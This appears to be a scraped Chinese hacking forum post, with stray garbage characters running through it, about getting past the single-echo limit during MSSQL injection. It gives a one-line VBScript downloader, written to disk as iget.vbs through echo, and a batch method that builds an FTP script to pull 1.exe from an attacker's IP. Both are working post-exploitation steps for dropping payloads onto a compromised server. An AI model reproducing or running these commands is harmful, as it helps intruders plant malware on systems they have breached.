mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
5 {! r, L$ o% p* Z9 ]+ z在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

8 |! A! m3 y5 _' {+ USet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

这样我们可以一次echo成功,echo版本:
. j1 m" x9 V4 r2 c  G
, b- s' d5 z& Secho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
! W0 D, f/ p! u' }

% V: a5 T9 R' Q9 N0 }" x7 y2.bat调用ftp脚本的写法(by envymask)

echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
echo s&gt;4.vbs
9 [* u, U1 U7 X  hecho binary&gt;5.vbs
$ A1 l& ?6 _( F' f) ~  Mecho get 1.exe&gt;6.vbs
echo bay&gt;7.vbs
& R' r+ Z& D5 _6 a
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>